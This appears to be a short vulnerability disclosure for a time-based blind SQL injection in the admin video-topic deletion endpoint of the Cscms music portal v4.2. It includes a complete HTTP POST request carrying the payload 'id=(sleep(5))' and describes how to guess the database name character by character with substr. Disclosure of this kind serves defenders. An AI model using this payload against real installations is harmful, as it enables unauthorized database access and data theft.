SQL injection vulnerability exists in Cscms music portal system v4.2

[Am1azi3ng]

Details

there is a Injection vulnerability exists in vod_Topic.php_del

The administrator needs to add a video theme after logging in. SQL injection vulnerability is generated when deleting the video theme. The constructed malicious payload is as follows

POST /admin.php/vod/admin/topic/del HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvbg76ecdifg0j6vl1bpl; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

id=(sleep(5))

You can see that success makes the server sleep
Construct payload to guess the database

There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct